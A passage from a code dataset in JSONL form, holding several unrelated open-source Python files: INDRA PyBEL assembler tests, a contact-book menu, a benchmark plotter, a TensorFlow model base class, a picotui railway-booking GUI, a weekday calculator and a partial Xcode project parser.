BoundCondition(grb2)],\n db_refs={'HGNC': id('SOS1')}\n )\n stmt = Gef(sos1_bound, ras)\n stmt_hash = stmt.get_hash(refresh=True)\n pba = pa.PybelAssembler([stmt])\n belgraph = pba.make_model()\n assert len(belgraph) == 6\n assert belgraph.number_of_edges() == 5\n # Don't bother to check the tuple, which is now generated by\n # PyBEL directly, but check the node data\n\n assert egfr_grb2_sos1_phos_complex_dsl in belgraph\n assert kras_node in belgraph\n assert (egfr_grb2_sos1_phos_complex_dsl, kras_node) in belgraph.edges()\n\n edge_data = (\n egfr_grb2_sos1_phos_complex_dsl,\n kras_node,\n {\n pc.RELATION: pc.DIRECTLY_INCREASES,\n pc.OBJECT: activity('gtp'),\n pc.ANNOTATIONS: {\n 'stmt_hash': {stmt_hash: True},\n 'uuid': {stmt.uuid: True},\n 'belief': {stmt.belief: True},\n },\n },\n )\n belgraph_edges = belgraph.edges(data=True)\n assert edge_data in belgraph_edges, belgraph_edges\n\n\ndef test_transphosphorylation():\n egfr = Agent('EGFR', db_refs={'HGNC': id('EGFR')})\n egfr_dimer = Agent('EGFR', bound_conditions=[BoundCondition(egfr)],\n db_refs={'HGNC': id('EGFR')})\n stmt = Transphosphorylation(egfr_dimer, 'Y', '1173')\n stmt_hash = stmt.get_hash(refresh=True)\n pba = pa.PybelAssembler([stmt])\n belgraph = pba.make_model()\n assert belgraph.number_of_nodes() == 3\n assert belgraph.number_of_edges() == 3\n\n egfr_dimer_node = complex_abundance([egfr_dsl, egfr_dsl])\n egfr_phos_node = egfr_dsl.with_variants(pmod('Ph', 'Tyr', 1173))\n edge_data = get_edge_data(belgraph, egfr_dimer_node, egfr_phos_node)\n assert edge_data == {\n pc.RELATION: pc.DIRECTLY_INCREASES,\n pc.ANNOTATIONS: {\n 'stmt_hash': {stmt_hash: True},\n 'uuid': {stmt.uuid: True},\n 'belief': {stmt.belief: True},\n },\n }, edge_data\n\n\n\"\"\"\ndef test_translocation():\n foxo = Agent('FOXO1', db_refs={'HGNC': id('FOXO1')})\n stmt = Translocation(foxo, 'cytoplasm', 'nucleus')\n nuc_go = 'GO:0005634'\n cyto_go = 'GO:0005737'\n pba = pa.PybelAssembler([stmt])\n belgraph = pba.make_model()\n assert len(belgraph) == 1\n\"\"\"\n\n\ndef test_complex_with_pmod():\n sos1_phos = Agent('SOS1',\n mods=[ModCondition('phosphorylation', 'Y', '100')],\n db_refs={'HGNC': id('SOS1')})\n grb2 = Agent('GRB2', db_refs={'HGNC': id('GRB2')})\n egfr = Agent('EGFR', db_refs={'HGNC': id('EGFR')})\n stmt = Complex([sos1_phos, grb2, egfr])\n pba = pa.PybelAssembler([stmt])\n belgraph = pba.make_model()\n assert belgraph.number_of_nodes() == 5\n assert belgraph.number_of_edges() == 4\n\n egfr_grb2_sos_phos_tyr_100 = complex_abundance([\n egfr_dsl,\n grb2_dsl,\n sos1_dsl.with_variants(pmod('Ph', 'Tyr', 100))\n ])\n\n assert sos1_dsl in belgraph\n assert egfr_grb2_sos_phos_tyr_100 in belgraph\n for member in egfr_grb2_sos_phos_tyr_100.members:\n assert member in belgraph\n\n\ndef test_complex_with_complex():\n grb2 = Agent('GRB2', db_refs={'HGNC': id('GRB2')})\n egfr_grb2 = Agent('EGFR', db_refs={'HGNC': id('EGFR')},\n bound_conditions=[BoundCondition(grb2)])\n sos1_phos = Agent('SOS1',\n mods=[ModCondition('phosphorylation', 'Y', '100')],\n db_refs={'HGNC': id('SOS1')})\n stmt = Complex([sos1_phos, egfr_grb2])\n pba = pa.PybelAssembler([stmt])\n belgraph = pba.make_model()\n assert len(belgraph) == 6\n assert belgraph.number_of_edges() == 5\n\n egfr_grb2_complex = complex_abundance([egfr_dsl, grb2_dsl])\n egfr_grb2_complex_sos1_phos_complex = complex_abundance([\n egfr_grb2_complex,\n sos1_dsl.with_variants(pmod('Ph', 'Tyr', 100))\n ])\n\n assert egfr_grb2_complex in belgraph\n for member in egfr_grb2_complex.members:\n assert member in belgraph\n\n assert egfr_grb2_complex_sos1_phos_complex in belgraph\n for member in egfr_grb2_complex_sos1_phos_complex.members:\n assert member in belgraph\n\n\ndef test_no_activity_on_bioprocess():\n yfg_agent = Agent('PPP1R13L', db_refs={'HGNC': id('PPP1R13L')})\n apoptosis_agent = Agent('apoptotic process', db_refs={'GO': 'GO:0006915'})\n\n stmt = Activation(yfg_agent, apoptosis_agent)\n pba = pa.PybelAssembler([stmt])\n\n belgraph = pba.make_model()\n assert len(belgraph) == 2\n assert belgraph.number_of_edges() == 1\n\n yfg_pybel = protein('HGNC', 'PPP1R13L', identifier='18838')\n apoptosis_pybel = bioprocess('GO', name='apoptotic process',\n identifier='GO:0006915')\n assert yfg_pybel in belgraph\n assert apoptosis_pybel in belgraph\n\n _, _, e = list(belgraph.edges(data=True))[0]\n assert pc.OBJECT not in e\n\n\ndef test_belgraph_to_signed_graph():\n braf_no_act = Agent('BRAF', db_refs={'HGNC': '1097', 'UP': 'P15056'})\n mek = Agent('MAP2K1', db_refs={'HGNC': '6840', 'UP': 'Q02750'})\n stmt = Activation(braf_no_act, mek)\n hsh = stmt.get_hash(refresh=True)\n\n pba = pa.PybelAssembler([stmt])\n belgraph = pba.make_model()\n pb_seg = pa.belgraph_to_signed_graph(belgraph, propagate_annotations=True)\n\n assert len(pb_seg.edges) == 1\n\n edge = (braf_dsl, map2k1_dsl, 0)\n assert edge in pb_seg.edges\n\n edge_dict = pb_seg.edges.get(edge)\n assert edge_dict\n\n assert 'stmt_hash' in edge_dict\n assert isinstance(edge_dict['stmt_hash'], int)\n assert hsh == edge_dict['stmt_hash']\n\n assert 'uuid' in edge_dict\n assert isinstance(edge_dict['uuid'], str)\n assert stmt.uuid == edge_dict['uuid']\n\n assert 'belief' in edge_dict\n assert isinstance(edge_dict['belief'], (float, int))\n assert stmt.belief == edge_dict['belief']\n\n\ndef test_context_and_annotations():\n braf_no_act = Agent('BRAF', db_refs={'HGNC': '1097', 'UP': 'P15056'})\n mek = Agent('MAP2K1', db_refs={'HGNC': '6840', 'UP': 'Q02750'})\n ev = Evidence(source_api='reach',\n annotations={'string_val': 'x',\n 'int_val': 5,\n 'dict_val': {'x': 5},\n 'list_val': ['a', 'b']},\n context=BioContext(\n cell_type=RefContext('HCC366',\n db_refs={'EFO': '0003131'})))\n stmt = Activation(braf_no_act, mek, evidence=[ev])\n\n pba = pa.PybelAssembler([stmt])\n belgraph = pba.make_model()\n _, _, data = list(belgraph.edges(data=True))[0]\n assert data['annotations']['cell_type'] == {'EFO:0003131': True}\n assert 'string_val' not in data['annotations']\n\n pba = pa.PybelAssembler([stmt], annotations_to_include=['string_val',\n 'int_val',\n 'dict_val',\n 'list_val'])\n belgraph = pba.make_model()\n _, _, data = list(belgraph.edges(data=True))[0]\n assert data['annotations']['cell_type'] == {'EFO:0003131': True}\n assert data['annotations']['string_val'] == {'x': True}\n assert data['annotations']['int_val'] == {5: True}\n assert 'dict_val' not in data['annotations']\n assert data['annotations']['list_val'] == {'a': True, 'b': True}\n","repo_name":"sorgerlab/indra","sub_path":"indra/tests/test_pybel_assembler.py","file_name":"test_pybel_assembler.py","file_ext":"py","file_size_in_byte":25932,"program_lang":"python","lang":"en","doc_type":"code","stars":150,"dataset":"github-code","pt":"67"} +{"seq_id":"74185549012","text":"def kontact_user(text):\n return input(text)\n\n\ndef menu():\n print('''Меню:\n 1 Добавить контакт\n 2 Изменить контакт\n 3 Удалить контакт\n 4 Посмотреть один контакт\n 5 посмотреть все контакты ''')\n user_input = input('Выберите действие: ')\n return user_input\n","repo_name":"DaniyalAhunov/PythonLesson","sub_path":"Seminar8/UPDATA_seminar7/view.py","file_name":"view.py","file_ext":"py","file_size_in_byte":387,"program_lang":"python","lang":"ru","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"27683830029","text":"import matplotlib.pyplot as plt\nimport numpy as np\nimport pandas\n\ntest = \"ZylannMicroHM\"\n\ng = pandas.read_csv('./results/Godot_' + test + '.csv', sep=',', header=None)\ngx, gy = g[0].values, g[1].values\n\nu = pandas.read_csv('./results/Unity_' + test + '.csv', sep=',', header=None)\nux, uy = u[0].values, u[1].values\n\nplt.bar(gx, gy, label='Godot', color=\"#458dc0\")\nplt.bar(ux, uy, label='Unity', color=\"#000000\")\n\nplt.xticks(gx, rotation='vertical')\nplt.ylabel('ms')\nplt.title(test)\nplt.legend(bbox_to_anchor=(1, 1),\n bbox_transform=plt.gcf().transFigure)\nplt.show()\n","repo_name":"LiamDobbelaere/HowestMarkPlotter","sub_path":"plotter_bar.py","file_name":"plotter_bar.py","file_ext":"py","file_size_in_byte":575,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"70766944854","text":"import tensorflow as tf\nimport os\n\nfrom .validators import config_validator\nfrom .exceptions import SaverNotInitialized\n\n\nclass Model:\n \"\"\"Base class for a Tensorflow models\n\n Args:\n config (dict): The configuration.\n \"\"\"\n def __init__(self, config):\n self.config = config\n self.name = self.config['name']\n self.saver = None\n with tf.variable_scope('global_step'):\n self.global_step = tf.Variable(\n 0,\n trainable=False,\n name='global_step'\n )\n\n def model_constructor(self):\n \"\"\"Abstract method used to define the model in the derived class.\"\"\"\n raise NotImplementedError\n\n def save(self, sess):\n \"\"\"Saves a snapshot of the model\n\n Args:\n sess (tf.Session): The current session.\n \"\"\"\n if self.saver is None:\n raise SaverNotInitialized((\n 'saver not defined, please make sure '\n 'self.saver = tf.train.Saver('\n 'max_to_keep=config[\\'saver_max_to_keep\\']'\n ') is in the constructor.'\n ))\n # print('Saving model...')\n save_dir = os.path.join(\n self.config['save_dir'],\n self.name\n )\n self.saver.save(sess, save_dir + '/' + self.name, self.global_step)\n # print('Save completed.\\n')\n\n def load(self, sess):\n \"\"\"loads the last snapshot of the model\n\n Args:\n sess (tf.Session): The current session.\n \"\"\"\n if self.saver is None:\n raise SaverNotInitialized((\n 'saver not defined, please make sure '\n 'self.saver = tf.train.Saver('\n 'max_to_keep=config[\\'saver_max_to_keep\\']'\n ') is in the constructor.'\n ))\n save_dir = os.path.join(\n self.config['save_dir'],\n self.name\n )\n latest_checkpoint = tf.train.latest_checkpoint(save_dir)\n if latest_checkpoint:\n print(\n 'Loading model checkpoint {} ...\\n'.format(latest_checkpoint)\n )\n self.saver.restore(sess, latest_checkpoint)\n","repo_name":"ericgossett/higher-order-graph-convolutional-neural-network","sub_path":"hogcn/core/model.py","file_name":"model.py","file_ext":"py","file_size_in_byte":2199,"program_lang":"python","lang":"en","doc_type":"code","stars":8,"dataset":"github-code","pt":"67"} +{"seq_id":"38279215409","text":"#\n# This example shows usage of \"changed\" event handlers to propagate\n# current state of widgets to other parts of an app (to other widgets\n# in this case).\n#\nfrom picotui.context import Context\nfrom picotui.screen import Screen\nfrom picotui.widgets import *\nfrom picotui.defs import *\nfrom picotui.dialogs import *\nfrom prettytable import PrettyTable\n\n\n\ndef init_screen():\n\twith Context():\n\t\tScreen.attr_color(C_WHITE, C_BLUE)\n\t\tScreen.cls()\n\t\tScreen.attr_reset()\n\n\t\td = Dialog(15, 12, 102, 16)\n\n\t\td.add(45, 2, WLabel(\"\\033[1mWelcome!\"))\n\n\t\tb = WButton(21, \" Login as guest user \")\n\t\td.add(40, 4, b)\n\t\tb.finish_dialog = 1\n\n\t\tb = WButton(21, \"Login\")\n\t\td.add(40, 6, b)\n\t\tb.finish_dialog = 2\n\n\t\tb = WButton(21, \"Register\")\n\t\td.add(40, 8, b)\n\t\tb.finish_dialog = 3\n\n\t\tb = WButton(21, \"Exit\")\n\t\td.add(40, 10, b)\n\t\tb.finish_dialog = 4\n\n\t\tres = d.loop()\n\treturn res\n\n\ndef guest_screen():\n\twith Context():\n\t\tScreen.attr_color(C_WHITE, C_BLUE)\n\t\tScreen.cls()\n\t\tScreen.attr_reset()\n\n\t\td = Dialog(15, 3, 102, 16)\n\n\t\td.add(43, 2, WLabel(\"\\033[1mWelcome aboard!\"))\n\n\t\tb = WButton(28, \" View available trains \")\n\t\td.add(37, 4, b)\n\t\tb.finish_dialog = 1\n\n\t\tb = WButton(28, \" View availability of seats \")\n\t\td.add(37, 6, b)\n\t\tb.finish_dialog = 2\n\n\t\tb = WButton(28, \"Book ticket\")\n\t\td.add(37, 8, b)\n\t\tb.finish_dialog = 3\n\n\t\tb = WButton(28, \"Exit\")\n\t\td.add(37, 10, b)\n\t\tb.finish_dialog = 4\n\n\t\tres = d.loop()\n\treturn res\n\n\ndef view_train_screen():\n\n\twith Context():\n\t\tScreen.attr_color(C_WHITE, C_BLUE)\n\t\tScreen.cls()\n\t\tScreen.attr_reset()\n\n\t\td = Dialog(15, 3, 102, 16)\n\n\t\td.add(40, 2, WLabel(\"\\033[1mView available trains\\033[0m\"))\n\n\t\td.add(32, 4, WLabel(\"Enter Source Station:\"))\n\t\tt1 = WTextEntry(10, \"\")\n\t\td.add(57, 4, t1)\n\n\t\td.add(32, 6, WLabel(\"Enter Destination:\"))\n\t\tt2 = WTextEntry(10, \"\")\n\t\td.add(57, 6, t2)\n\n\t\tb = WButton(28, \"Confirm\")\n\t\td.add(37, 10, b)\n\t\tb.finish_dialog = 1\n\n\t\td.loop()\n\t\treturn (t1.get(), t2.get())\n\n\ndef check_avail_screen():\n\n\twith Context():\n\t\tScreen.attr_color(C_WHITE, C_BLUE)\n\t\tScreen.cls()\n\t\tScreen.attr_reset()\n\n\t\td = Dialog(15, 3, 102, 16)\n\n\t\td.add(40, 2, WLabel(\"\\033[1mView available seats\\033[0m\"))\n\n\t\td.add(30, 4, WLabel(\"Enter Source Station:\"))\n\t\tt1 = WTextEntry(10, \"\")\n\t\td.add(57, 4, t1)\n\n\t\td.add(30, 6, WLabel(\"Enter Destination:\"))\n\t\tt2 = WTextEntry(10, \"\")\n\t\td.add(57, 6, t2)\n\n\t\td.add(30, 8, WLabel(\"Enter Date (MM/DD/YY):\"))\n\t\tt3 = WTextEntry(10, \"\")\n\t\td.add(57, 8, t3)\n\n\t\tb = WButton(28, \"Confirm\")\n\t\td.add(37, 12, b)\n\t\tb.finish_dialog = 1\n\n\t\td.loop()\n\t\treturn (t1.get(), t2.get(), t3.get())\n\n\ndef login_screen():\n\n\twith Context():\n\t\tScreen.attr_color(C_WHITE, C_BLUE)\n\t\tScreen.cls()\n\t\tScreen.attr_reset()\n\n\t\td = Dialog(15, 3, 102, 16)\n\n\t\td.add(47, 2, WLabel(\"\\033[1mLogin\\033[0m\"))\n\n\t\td.add(35, 4, WLabel(\"Enter email:\"))\n\t\tt1 = WTextEntry(10, \"\")\n\t\td.add(57, 4, t1)\n\n\t\td.add(35, 6, WLabel(\"Enter password:\"))\n\t\tt2 = WPasswdEntry(10, \"\")\n\t\td.add(57, 6, t2)\n\n\t\tb = WButton(28, \"Confirm\")\n\t\td.add(37, 10, b)\n\t\tb.finish_dialog = 1\n\n\t\td.loop()\n\t\treturn (t1.get(), t2.get())\n\n\ndef register_screen():\n\n\twith Context():\n\t\tScreen.attr_color(C_WHITE, C_BLUE)\n\t\tScreen.cls()\n\t\tScreen.attr_reset()\n\n\t\td = Dialog(15, 3,102, 22)\n\n\t\td.add(47, 2, WLabel(\"\\033[1mRegister\\033[0m\"))\n\n\t\td.add(30, 4, WLabel(\"Name:\"))\n\t\tt1 = WTextEntry(25, \"\")\n\t\td.add(60, 4, t1)\n\n\t\td.add(30, 6, WLabel(\"Mobile Number:\"))\n\t\tt2 = WTextEntry(25, \"\")\n\t\td.add(60, 6, t2)\n\n\t\td.add(30, 8, WLabel(\"Email:\"))\n\t\tt3 = WTextEntry(25, \"\")\n\t\td.add(60, 8, t3)\n\n\t\td.add(30, 10, WLabel(\"Address:\"))\n\t\tt4 = WMultiEntry(25, 2, \"\".split(\"\\n\"))\n\t\td.add(60, 10, t4)\n\n\t\td.add(30, 14, WLabel(\"Password:\"))\n\t\tt5 = WPasswdEntry(25, \"\")\n\t\td.add(60, 14, t5)\n\n\t\td.add(30, 16, WLabel(\"Confirm Password:\"))\n\t\tt6 = WPasswdEntry(25, \"\")\n\t\td.add(60,16, t6)\n\n\t\tb = WButton(28, \"Confirm\")\n\t\td.add(37, 18, b)\n\t\tb.finish_dialog = 1\n\n\t\t# print(t4.get())\n\n\t\td.loop()\n\n\t\tret_t4 = \"\"\n\t\tfor stri in t4.get():\n\t\t\tret_t4 += stri + \" \"\n\n\t\treturn (t1.get(), t2.get(), t3.get(), ret_t4, t5.get(), t6.get())\n\n\ndef after_login_screen(uname):\n\twith Context():\n\t\tScreen.attr_color(C_WHITE, C_BLUE)\n\t\tScreen.cls()\n\t\tScreen.attr_reset()\n\n\t\td = Dialog(15, 3, 102, 22)\n\n\t\td.add(43, 2, WLabel(\"\\033[1mWelcome {}!\".format(uname)))\n\n\t\tb = WButton(28, \" View available trains \")\n\t\td.add(37, 4, b)\n\t\tb.finish_dialog = 1\n\n\t\tb = WButton(28, \" View availability of seats \")\n\t\td.add(37, 6, b)\n\t\tb.finish_dialog = 2\n\n\t\tb = WButton(28, \"Book ticket\")\n\t\td.add(37, 8, b)\n\t\tb.finish_dialog = 3\n\n\t\tb = WButton(28, \"Cancel ticket\")\n\t\td.add(37, 10, b)\n\t\tb.finish_dialog = 4\n\n\t\tb = WButton(28, \"View booked ticket history\")\n\t\td.add(37, 12, b)\n\t\tb.finish_dialog = 5\n\n\t\tb = WButton(28, \"View user details\")\n\t\td.add(37, 14, b)\n\t\tb.finish_dialog = 6\n\n\t\t# b = WButton(28, \"Change password\")\n\t\t# d.add(37, 16, b)\n\t\t# b.finish_dialog = 7\n\n\t\tb = WButton(28, \"Exit\")\n\t\td.add(37, 18, b)\n\t\tb.finish_dialog = 9\n\n\t\tres = d.loop()\n\treturn res\n\n\ndef book_ticket_screen():\n\twith Context():\n\t\tScreen.attr_color(C_WHITE, C_BLUE)\n\t\tScreen.cls()\n\t\tScreen.attr_reset()\n\n\t\td = Dialog(15, 3, 102, 16)\n\n\t\td.add(47, 2, WLabel(\"\\033[1mBook Ticket\\033[0m\"))\n\n\t\td.add(30, 6, WLabel(\"Enter number of seats\"))\n\t\tt2 = WTextEntry(10, \"\")\n\t\td.add(57, 6, t2)\n\n\t\td.add(30, 8, WLabel(\"Choose class:\"))\n\t\tt3 = WDropDown(11, [\"1AC\", \"2AC\", \"3AC\", \"SL\", \"2S\"], dropdown_h=7)\n\t\td.add(57, 8, t3)\n\n\t\tb = WButton(28, \"View booking table again\")\n\t\td.add(37, 12, b)\n\t\tb.finish_dialog = 1\n\n\t\tb = WButton(28, \"Confirm\")\n\t\td.add(37, 14, b)\n\t\tb.finish_dialog = 2\n\n\t\tres = d.loop()\n\t\n\treturn (res, t2.get(), t3.get())\n\n\ndef view_trains_out_screen(source, destination, ret_table):\n\n\twith Context():\n\t\t\tScreen.attr_color(C_WHITE, C_BLUE)\n\t\t\tScreen.cls()\n\t\t\tScreen.attr_reset()\n\n\t\t\td = Dialog(15, 3, 102, 16)\n\t\t\tx = PrettyTable()\n\t\t\tx.field_names = [\"Train Name\", \"Train Number\", \"Departure\", \"Arrival\"]\n\t\t\tfor row in ret_table:\n\t\t\t\tx.add_row(row[0:2] + row[-1:-3:-1])\n\t\t\ttable = x.get_string().split(\"\\n\")\n\n\t\t\td.add(38, 2, \"\\033[1mTrains between {} and {}\\033[0m\".format(\n\t\t\t\tsource, destination))\n\n\t\t\tidx = 0\n\t\t\tfor row in table:\n\t\t\t\td.add(28, 4 + idx, row)\n\t\t\t\tidx += 1\n\n\t\t\tb = WButton(21, \"Ok\")\n\t\t\td.add(40, 20, b)\n\t\t\tb.finish_dialog = 4\n\n\t\t\tres = d.loop()\n\treturn res\n\n\ndef check_avail_screen_out(source, destination, date, ret_table_1, ret_table_2):\n\twith Context():\n\t\tScreen.attr_color(C_WHITE, C_BLUE)\n\t\tScreen.cls()\n\t\tScreen.attr_reset()\n\t\t\n\t\td = Dialog(15, 3, 102, 16)\n\t\td.add(31, 2, \"\\033[1mTrains between {} and {} on {}\\033[0m\".format(\n\t\t\tsource, destination, date))\n\n\t\tcnt = 0; curr = 0\n\t\tstore = -1\n\t\tfor row in ret_table_1:\n\t\t\tx = PrettyTable()\n\t\t\ttrain_name, train_no = row[1], row[2]\n\t\t\td.add(27, curr + 4, \"Train Name: {}, Train Number: {}\".format(train_name, train_no))\n\t\t\tx.field_names = [\"1AC\", \"2AC\", \"3AC\", \"SL\", \"2S\"]\n\t\t\tx.add_row(ret_table_2[cnt][1:-1])\n\t\t\ttable = x.get_string().split(\"\\n\")\n\t\t\tfor i in range(len(table)):\n\t\t\t\td.add(35, curr + 4 + i + 2, table[i])\n\t\t\t\ti += 1\n\t\t\tb = WButton(15, \"Select\")\n\t\t\td.add(43, curr + 4 + len(table) + 2, b)\n\t\t\tb.finish_dialog = cnt\n\t\t\tcnt += 1\n\t\t\tcurr += i + 4\n\n\t\tres = d.loop()\n\t\t\n\treturn res\n\ndef enter_user_details(num):\n\twith Context():\n\t\tScreen.attr_color(C_WHITE, C_BLUE)\n\t\tScreen.cls()\n\t\tScreen.attr_reset()\n\n\t\td = Dialog(15, 3, 102, 16)\n\n\t\td.add(38, 2, WLabel(\"\\033[1mEnter passenger {}'s details\\033[0m\".format(num)))\n\n\t\td.add(30, 4, WLabel(\"Name:\"))\n\t\tt1 = WTextEntry(10, \"\")\n\t\td.add(57, 4, t1)\n\n\t\td.add(30, 6, WLabel(\"Age:\"))\n\t\tt2 = WTextEntry(10, \"\")\n\t\td.add(57, 6, t2)\n\n\t\td.add(30, 8, WLabel(\"Gender:\"))\n\t\tt3 = WTextEntry(10, \"\")\n\t\td.add(57, 8, t3)\n\n\t\tb = WButton(28, \"Confirm\")\n\t\td.add(37, 10, b)\n\t\tb.finish_dialog = 1\n\n\t\td.loop()\n\n\treturn (t1.get(), t2.get(), t3.get())\n\n\ndef view_train_screen():\n\n\twith Context():\n\t\tScreen.attr_color(C_WHITE, C_BLUE)\n\t\tScreen.cls()\n\t\tScreen.attr_reset()\n\n\t\td = Dialog(15, 3, 102, 16)\n\n\t\td.add(40, 2, WLabel(\"\\033[1mView available trains\\033[0m\"))\n\n\t\td.add(32, 4, WLabel(\"Enter Source Station:\"))\n\t\tt1 = WTextEntry(10, \"\")\n\t\td.add(57, 4, t1)\n\n\t\td.add(32, 6, WLabel(\"Enter Destination:\"))\n\t\tt2 = WTextEntry(10, \"\")\n\t\td.add(57, 6, t2)\n\n\t\tb = WButton(28, \"Confirm\")\n\t\td.add(37, 10, b)\n\t\tb.finish_dialog = 1\n\n\t\td.loop()\n\treturn (t1.get(), t2.get())\n\n\ndef cancel_ticket_screen():\n\n\twith Context():\n\t\tScreen.attr_color(C_WHITE, C_BLUE)\n\t\tScreen.cls()\n\t\tScreen.attr_reset()\n\n\t\td = Dialog(15, 3, 102, 16)\n\n\t\td.add(40, 2, WLabel(\"\\033[1mCancel Ticket\\033[0m\"))\n\n\t\td.add(32, 4, WLabel(\"Enter PNR:\"))\n\t\tt1 = WTextEntry(10, \"\")\n\t\td.add(57, 4, t1)\n\n\t\tb = WButton(28, \"Confirm\")\n\t\td.add(37, 10, b)\n\t\tb.finish_dialog = 1\n\n\t\td.loop()\n\treturn t1.get()\n\n\ndef ticket_history_screen(ret_table):\n\twith Context():\n\t\tScreen.attr_color(C_WHITE, C_BLUE)\n\t\tScreen.cls()\n\t\tScreen.attr_reset()\n\n\t\td = Dialog(8, 3, 102, 16)\n\t\td.add(41, 2, \"\\033[1mYour booked tickets are:\\033[0m\")\n\n\t\tcnt = 0\n\t\tcurr = 0\n\t\tstore = -1\n\t\t# for row in ret_table:\n\t\tx = PrettyTable()\n\t\tx.field_names = [\"PNR\", \"Train Number\", \"Train Name\", \"Source\", \"Destination\", \"Date\", \"Seats\", \"Amount\", \"Booking Status\"]\n\t\tfor row in ret_table:\n\t\t\tx.add_row(row[0:1] + row[2:3] + row[4:8] +\n\t\t\t tuple([(len(row[8]['ticket']))]) + row[9:])\n\t\ttable = x.get_string().split(\"\\n\")\n\t\tfor i in range(len(table)):\n\t\t\td.add(3, curr + 4 + i + 2, table[i])\n\t\t\ti += 1\n\t\t\n\t\tb = WButton(28, \"Confirm\")\n\t\td.add(43, 30, b)\n\t\tb.finish_dialog = 1\n\n\t\tres = d.loop()\n\treturn res\n\n\ndef dialog_screen(text):\n\twith Context():\n\t\td = DMultiEntry(25, 3, [text], title=\"Message\")\n\t\td.result()\n\treturn\n\n# res = ticket_history_screen([[\"\", \"\", \"\", \"\", \"\", \"\", \"\", \"\", \"\", \"\", \"\"]])\n# # res = view_trains_out_screen('LDH', 'ASR', [])\n# # res = check_avail_screen_out('LDH', \"ASR\", \"26/03/2001\", [[1, \"Hello\", 232], [2, \"World\", 323]], [[222, 1, 2, 3, 4, 23], [222, 2, 3, 4, 32, 2]])\n# print(\"Result:\", res)","repo_name":"dkodar20/iitrs","sub_path":"script/gui.py","file_name":"gui.py","file_ext":"py","file_size_in_byte":9713,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"19563056354","text":"today=int(input(\"Enter today's day:\"))\nnumber_of_elapse_day=int(input(\"Enter the number of days elapsed since today :\"))\n\nfuture_day=(today+number_of_elapse_day)%7\n\ndef get_Day_by_number(day):\n \n if(day==1):\n return \"Monday\"\n elif(day==2):\n return \"Tuesday\"\n elif(day==3):\n return \"Wednesday\"\n elif(day==4):\n return \"Thursday\"\n elif(day==5):\n return \"Friday\"\n elif( day==6):\n return \"Saturday\"\n elif(day==7):\n return \"Sunday\"\n\nprint(\"Today is \",get_Day_by_number(today),\" and future day is \", get_Day_by_number(future_day))\n ","repo_name":"aligerami/assignment1","sub_path":"chapter4-5.py","file_name":"chapter4-5.py","file_ext":"py","file_size_in_byte":599,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"70221426775","text":"import os.path\n\nKNOWN_ROOTS = ['SDKROOT', 'SOURCE_ROOT', 'DEVELOPER_DIR', 'BUILT_PRODUCTS_DIR']\n\n\nclass TargetInfo:\n def __init__(self, project, target):\n self._project = project\n self._target = target\n self._index_groups()\n self._info = {\n 'name': target.name,\n 'type': target.productType,\n 'buildConfigurations': self._get_configurations(),\n 'buildPhases': self._get_phases(),\n 'dependencies': self._get_dependencies(),\n 'files': self._get_files(),\n }\n\n def dict(self):\n return self._info\n\n def obj(self, id):\n return self._project.objects[id]\n\n def get_buildfile_path(self, key):\n buildfile = self.obj(key)\n if buildfile is None or buildfile['fileRef'] is None: return f\"(null) {key}\"\n\n fileref = self.obj(buildfile.fileRef)\n if fileref is None or fileref['path'] is None: return f\"(null) {key}\"\n\n return repr(fileref)\n\n\n def _index_groups(self):\n self._group_parents = {}\n self._group_paths = {}\n\n self._group_paths[self._project.rootObject] = ''\n\n root = self.obj(self._project.rootObject)\n self._group_paths[root.mainGroup] = ''\n\n for group in self._project.objects.get_objects_in_section('PBXGroup'):\n group_id = group.get_id()\n if group['children'] is not None:\n for child in group.children:\n self._group_parents[child] = group_id\n if group.sourceTree in KNOWN_ROOTS:\n self._group_paths[group_id] = f\"$({group.sourceTree})\"\n\n def _get_configurations(self):\n if self._target['buildConfigurationList'] is None: return None\n\n list = self.obj(self._target.buildConfigurationList)\n if list is None or list['buildConfigurations'] is None: return None\n\n all_confs = {}\n for ckey in list.buildConfigurations:\n conf = self.obj(ckey)\n if conf is None or conf['name'] is None: continue\n all_confs[conf.name] = {\n 'buildSettings': {skey : conf.buildSettings[skey] for skey in conf.buildSettings.get_keys()}\n }\n return all_confs\n\n def _get_phases(self):\n if self._target['buildPhases'] is None: return None\n\n all_phases = []\n for pkey in self._target.buildPhases:\n phase = self.obj(pkey)\n if phase is None or phase.isa in ['PBXSourcesBuildPhase', 'PBXResourcesBuildPhase', 'PBXFrameworksBuildPhase']: continue\n phase_info = {\n 'name': phase['name'],\n 'type': phase.isa,\n }\n if 'PBXShellScriptBuildPhase' == phase.isa:\n phase_info['script'] = phase.shellScript\n elif 'PBXCopyFilesBuildPhase' == phase.isa:\n phase_info['files'] = [self.get_buildfile_path(fkey) for fkey in phase.files]\n all_phases.append(phase_info)\n return all_phases\n\n def _get_dependencies(self):\n all_dependencies = []\n\n if self._target['dependencies'] is not None:\n for dkey in self._target.dependencies:\n dep = self.obj(dkey)\n if dep is None: continue\n if 'PBXTargetDependency' == dep.isa:\n dep_target = self.obj(dep.target)\n all_dependencies.append({\n 'type': dep.isa,\n 'target': dep_target.name,\n })\n else:\n all_dependencies.append({'type':dep.isa})\n\n if self._target['packageProductDependencies'] is not None:\n for dkey in self._target.packageProductDependencies:\n dep = self.obj(dkey)\n if dep is None: continue\n if 'XCSwiftPackageProductDependency' == dep.isa:\n info = {\n 'type': dep.isa,\n 'productName': dep['productName'],\n }\n pkg = self.obj(dep.package)\n if pkg is not None:\n info['url'] = pkg['repositoryURL']\n all_dependencies.append(info)\n else:\n all_dependencies.append({'type':dep.isa})\n\n return all_dependencies\n\n def _get_files(self):\n if self._target['buildPhases'] is None: return None\n\n sources = []\n resources = []\n frameworks = []\n\n for pkey in self._target.buildPhases:\n phase = self.obj(pkey)\n if phase is None or phase['files'] is None: continue\n\n files = self._resolve_files(phase.files)\n\n if 'PBXSourcesBuildPhase' == phase.isa:\n sources.extend(files)\n elif 'PBXResourcesBuildPhase' == phase.isa:\n resources.extend(files)\n elif 'PBXFrameworksBuildPhase' == phase.isa:\n frameworks.extend(files)\n\n sources.sort()\n resources.sort()\n frameworks.sort()\n\n return {\n 'sources': sources,\n 'resources': resources,\n 'frameworks': frameworks,\n }\n\n def _resolve_files(self, files):\n for id in files:\n file = self.obj(id)\n if file.isa == 'PBXBuildFile':\n if 